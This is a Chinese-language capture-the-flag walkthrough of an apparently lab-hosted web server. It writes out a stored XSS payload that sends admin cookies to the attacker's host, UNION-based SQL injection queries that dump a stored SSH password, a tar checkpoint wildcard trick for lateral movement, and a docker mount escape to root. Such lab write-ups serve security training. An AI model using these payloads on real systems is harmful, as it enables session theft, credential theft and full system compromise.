靶机ip:10.10.113.205
信息收集
nmap扫描
nmap -min-rate 10000 -A -sV -sC -p- 10.10.113.205

发现有22,80,32768端口开放
80端口

先扫描目录
gobuster dir -u http://10.10.113.205/ -w /usr/share/wordlists/dirb/common.txt

先创建一个普通用户查看一下相关路径,得到以下结果:
/admin需要登录认证才能查看/signup注册/login登录/new创建一个新列表/messages查看消息/contact/michael联系列表作者/item/1查看具体列表的详细信息/report/1向管理员报告列表
XSS钓鱼越权
测试后发现在创建新列表的时候,Description的值存在存储型xss
<script>alert(1)</script>


可以利用xss得到cookie等关键信息
<script>alert(document.cookie)</script>


发现cookie的格式像是jwt,可以使用在线工具查看一下

想尝试将cookie伪造成admin,但是失败了
我们的商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token
- 首先,建立监听用于获取cookie
python -m http.server

- 然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie
<img src=x onerror=this.src="http://10.14.90.122:8000/?1="+document.cookie>
<img> 用于加载图像。
src=x 设置一个无效的图像源,通常会导致加载失败。
onerror 当图像加载失败时触发的事件。
this.src 在图像加载失败时,将图像的 src 属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中
document.cookie 获取当前页面的 cookies


这时我们会收到大量的cookie,现在举报商品

发现有几条不一样的,分析一下

发现是admin的cookie,更换cookie

更换后刷新页面

发现多了个Administrator panel,现在已经成功越权到admin了

点击后获得flag
SQL注入拿shell

随便点击一个用户发现是通过get传参,user是参数进行查询的,判断一下是否有sql注入

可以注入
http://10.10.113.205/admin?user=1 order by 4 --+

http://10.10.113.205/admin?user=1 order by 5 --+

判断出字段数是4
http://10.10.113.205/admin?user=1 and 1=2 union select 1,2,3,4--+

发现回显位置有1和2
http://10.10.113.205/admin?user=1 and 1=2 union select database(),2,3,4--+

找到数据库名marketplace
http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

http://10.10.113.205/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

找到了jake用户的ssh密码@b_ENXkGYUCAv3zJ
ssh登录
ssh jake@10.10.113.205

登陆成功

在当前目录找到user.txt
提升至root权限
横向移动
经典sudo -l

发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh,查看一下
cat /opt/backups/backup.sh

这是一个压缩备份当前目录下的所有文件的脚本
tar cf /opt/backups/backup.tar *
可以用tar进行提权
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管
--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。
--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh,即启动一个新的 shell。
只要能够让--checkpoint=1和--checkpoint-action=exec=sh运行起来就行了,那么我们只用创建两个名为--checkpoint=1和--checkpoint-action=exec=sh的文件就行了
echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
chmod 777 backup.tar
sudo -u michael /opt/backups/backup.sh

需要注意的是要将backup.tar权限设置成能允许其他用户可以访问的权限
现在就移动到michael权限
提权至root
id看下权限先

发现有个docker权限
利用docker提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

提权成功

在/root下找到root.txt

说些什么吧!